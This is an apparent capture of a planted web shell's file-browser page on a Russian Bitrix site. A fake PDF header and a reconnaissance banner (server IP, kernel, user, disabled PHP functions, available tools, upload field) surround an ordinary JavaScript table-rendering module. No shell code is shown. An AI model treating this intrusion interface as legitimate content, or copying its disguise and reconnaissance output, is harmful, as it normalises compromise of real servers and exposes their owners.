%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.191.139.245 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel/formsettingspanel/content/analytics/src/internal/table/ |
Upload File : |
import {Tag} from 'main.core'; import {ContentTableCell} from './content-table-cell'; import {ContentTableRow} from './content-table-row'; import type {ContentTableCellOptions} from './content-table-cell'; import type {ContentTableRowOptions} from './content-table-row'; import './css/style.css'; type ContentTableOptions = { title: string, columns: Array<ContentTableCellOptions>, rows: Array<ContentTableRowOptions> }; export class ContentTable { constructor(options: ContentTableOptions) { this.options = {...options}; this.headRow = new ContentTableRow({ columns: this.options.columns.map((columnOptions) => { return new ContentTableCell(columnOptions); }), head: true, }); this.rows = this.options.rows.map((rowOptions) => { return new ContentTableRow({ columns: rowOptions.columns.map((cellOptions) => { return new ContentTableCell(cellOptions); }), }); }); } getTitleLayout(): HTMLDivElement | string { if (Type.isStringFilled(this.options.title)) { return Tag.render` <div class="landing-ui-content-table-title">${this.options.title}</div> `; } return ''; } render(): HTMLTableElement { return Tag.render` <div class="landing-ui-content-table-wrapper"> <div class="landing-ui-content-table"> ${this.headRow.render()} ${this.rows.map((row) => row.render())} </div> </div> `; } }